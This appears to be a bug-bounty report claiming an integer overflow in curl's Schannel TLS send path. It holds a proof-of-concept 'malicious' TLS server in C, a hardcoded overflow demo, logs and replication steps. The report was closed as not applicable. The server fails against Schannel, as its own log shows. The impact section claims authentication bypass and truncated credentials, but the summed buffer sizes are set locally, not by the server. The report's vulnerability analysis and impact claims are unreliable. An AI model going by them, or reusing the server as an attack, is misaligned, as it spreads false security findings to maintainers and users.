Integer Overflow in schannel.c TLS Data Transmission
Medium
C
curl
Submitted None
Actions:
Reported by
kakorrhaphiophobia
Vulnerability Details
Technical details and impact analysis
## Summary
This vulnerability allows an in overflow when adding TLS buffer sizes during an encrypted data tranmission which can lead to incorrect data sizes being sent and TLS security issues while in testing.
Within testing on a Windows 10 enviroment, Windows's Schannel rejected the malformed TLS handshake constructed as (`SEC_E_INVALID_TOKEN`) which is expected as the vulnerable code at location: `./lib/vtls/schannel.c`:
```
/* send the encrypted message including header, data and trailer */
len = outbuf[0].cbBuffer + outbuf[1].cbBuffer + outbuf[2].cbBuffer;
```
rules after the TLS connection is established. This also occurs during the data transmission phase, not the handshake itself and windows validates TLS records and rejects obv malformed one's.
curl adds the three buffers: outbuf which is a TLS header, outbuf[1] which is the encrypted data and then outbuf which is the TLS trailer. curl adds these three together without checking for an int overflow and when on my testing enviroment compiling for 32 bit, if the sizes are large enough, the addition can overflow which results in a small len value.
This can lead to incorrect data transmission sizes, TLS protocol violations, memory safety issues and worst case I think is a potential security bypass if the overflow causes curl to send less data than intended.
This can be tested with the proof of concept attached where a malicious HTTP server is served and any windows user with curl connecting to such a malicious server is affected. The only feasible way of exploting this practically would require bypassing Windows Schannel validity due to me getting a `SEC_E_INVALID_TOKEN` rejecting the malformed TLS. This was also tested compiled for 32-bit windows systems where the wraparound is likely.
# Log
```
=== Schannel Vulnerability PoC Server (Windows) ===
This server attempts to trigger the integer overflow
in curl's schannel.c by sending crafted TLS responses
[*] Initializing Winsock...
[*] Malicious server listening on port 4433
[*] Test with: curl -k https://localhost:4433
[*] Client connected
[*] Received 1815 bytes (ClientHello)
[*] Sending malicious TLS record...
[*] Sent malicious TLS records
[*] Connection closed
[*] Client connected
[*] Received 1783 bytes (ClientHello)
[*] Sending malicious TLS record...
[*] Sent malicious TLS records
[*] Connection closed
[*] Client connected
[*] Received 1719 bytes (ClientHello)
[*] Sending malicious TLS record...
[*] Sent malicious TLS records
[*] Connection closed
[*] Client connected
[*] Received 1783 bytes (ClientHello)
[*] Sending malicious TLS record...
[*] Sent malicious TLS records
[*] Connection closed
[*] Client connected
[*] Received 281 bytes (ClientHello)
[*] Sending malicious TLS record...
[*] Sent malicious TLS records
[*] Connection closed
```
```
curl -k https://localhost:4433/
curl: (35) schannel: next InitializeSecurityContext failed: SEC_E_INVALID_TOKEN (0x80090308) - The token supplied to the function is invalid
```
## math poc
```
#define SECURITY_WIN32 1
#include <windows.h>
#include <security.h>
#include <schannel.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
printf("Curl Schannel Integer Overflow PoC\n");
printf("==================================\n\n");
SYSTEM_INFO si;
GetSystemInfo(&si);
printf("Architecture: %s\n", si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ? "64-bit" : "32-bit");
printf("sizeof(size_t): %llu bytes\n\n", (unsigned long long)sizeof(size_t));
SecBuffer outbuf[3];
outbuf[0].cbBuffer = 0x80000000;
outbuf[1].cbBuffer = 0x80000001;
outbuf[2].cbBuffer = 0x00000000;
size_t len = outbuf[0].cbBuffer + outbuf[1].cbBuffer + outbuf[2].cbBuffer;
printf("Vulnerable code: len = outbuf[0].cbBuffer + outbuf[1].cbBuffer + outbuf[2].cbBuffer\n\n");
printf("0x%08lX + 0x%08lX + 0x%08lX = 0x%llX\n",
(unsigned long)outbuf[0].cbBuffer,
(unsigned long)outbuf[1].cbBuffer,
(unsigned long)outbuf[2].cbBuffer,
(unsigned long long)len);
unsigned long long expected = 0x100000001ULL;
if(sizeof(size_t) == 4 && len != expected) {
printf("\n*** INTEGER OVERFLOW on 32-bit! ***\n");
printf("Expected: %llu bytes\n", expected);
printf("Got: %llu bytes\n", (unsigned long long)len);
}
return 0;
}
```
## Malicious server
```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#define PORT 4433
#pragma pack(push, 1)
typedef struct {
uint8_t type;
uint8_t version_major;
uint8_t version_minor;
uint16_t length;
} tls_record_header;
#pragma pack(pop)
void send_malicious_record(SOCKET client_socket) {
printf("[*] Sending malicious TLS record...\n");
tls_record_header record;
record.type = 0x17;
record.version_major = 0x03;
record.version_minor = 0x03;
record.length = htons(0xFFFF);
send(client_socket, (char*)&record, sizeof(record), 0);
size_t payload_size = 0xFFFF;
unsigned char *payload = malloc(payload_size);
if (!payload) {
printf("Failed to allocate payload\n");
return;
}
memset(payload, 'A', payload_size);
send(client_socket, (char*)payload, (int)payload_size, 0);
free(payload);
for(int i = 0; i < 3; i++) {
send(client_socket, (char*)&record, sizeof(record), 0);
payload = malloc(payload_size);
if (!payload) continue;
memset(payload, 'B' + i, payload_size);
send(client_socket, (char*)payload, (int)payload_size, 0);
free(payload);
}
printf("[*] Sent malicious TLS records\n");
}
void run_raw_server() {
WSADATA wsa;
SOCKET server_socket, client_socket;
struct sockaddr_in server_addr, client_addr;
int client_addr_len = sizeof(client_addr);
printf("[*] Initializing Winsock...\n");
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
printf("WSAStartup failed: %d\n", WSAGetLastError());
return;
}
server_socket = socket(AF_INET, SOCK_STREAM, 0);
if (server_socket == INVALID_SOCKET) {
printf("Socket creation failed: %d\n", WSAGetLastError());
WSACleanup();
return;
}
int opt = 1;
setsockopt(server_socket, SOL_SOCKET, SO_REUSEADDR, (char*)&opt, sizeof(opt));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_port = htons(PORT);
if (bind(server_socket, (struct sockaddr*)&server_addr, sizeof(server_addr)) == SOCKET_ERROR) {
printf("Bind failed: %d\n", WSAGetLastError());
closesocket(server_socket);
WSACleanup();
return;
}
if (listen(server_socket, 3) == SOCKET_ERROR) {
printf("Listen failed: %d\n", WSAGetLastError());
closesocket(server_socket);
WSACleanup();
return;
}
printf("[*] Malicious server listening on port %d\n", PORT);
printf("[*] Test with: curl -k https://localhost:%d\n", PORT);
while (1) {
client_socket = accept(server_socket, (struct sockaddr*)&client_addr, &client_addr_len);
if (client_socket == INVALID_SOCKET) {
printf("Accept failed: %d\n", WSAGetLastError());
continue;
}
printf("[*] Client connected\n");
char buffer[4096];
int received = recv(client_socket, buffer, sizeof(buffer), 0);
printf("[*] Received %d bytes (ClientHello)\n", received);
unsigned char server_hello[] = {
0x16, 0x03, 0x03, 0x00, 0x31,
0x02, 0x00, 0x00, 0x2d,
0x03, 0x03,
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,
0x00,
0x00, 0x2f,
0x00
};
send(client_socket, (char*)server_hello, sizeof(server_hello), 0);
send_malicious_record(client_socket);
size_t huge_size = 0x100000;
unsigned char *huge_data = malloc(huge_size);
if (huge_data) {
memset(huge_data, 'X', huge_size);
send(client_socket, (char*)huge_data, (int)huge_size, 0);
free(huge_data);
}
closesocket(client_socket);
printf("[*] Connection closed\n\n");
}
closesocket(server_socket);
WSACleanup();
}
int main() {
run_raw_server();
return 0;
}
```
## To replicate
1. compile the malicious TLS server on Windows and run accordingly for 32-bit: `i686-w64-mingw32-gcc -Wall -Wextra -g3 malicious_server.c -o malicious_server.exe -lws2_32`
2. execute `curl -k https://localhost:4433/`
## Versions affected
8.15.0: release
8.16.0: dev
## Impact
## Summary:
An attacker can achieve authentication bypass if creds are being tranmitted via TLS like if one sends 4GB of encrypted auth data but in reality someone only sends one byte considering an overflow and then as a result the server would receive incomplete credentials.
Also possibly, you could prevent data exfiltration if you manipulate again the TLS handshake to trigger the large buffer sizes again which causes the same overflow resulting in less data than the application expects.
This could lead to a DoS as well as infinite loops could occur when `len` is very small or the connection hangs entirely due to the protocol violation or exhausting resources in general from repeated connection attempts.
Real world: an attacker would need to control or compromise a TLS server, manipulate Windows' `EncryptMessage()` to return specific buffer sizes and trigger the overflow during the transmission of data so in my mind this could also be like incomplete security patches being trasmitted, partial file transfers which appear _complete_ or truncated API requests.
Report Details
Additional information and metadata
State
Closed
Substate
Not-Applicable
Submitted
Weakness
Integer Overflow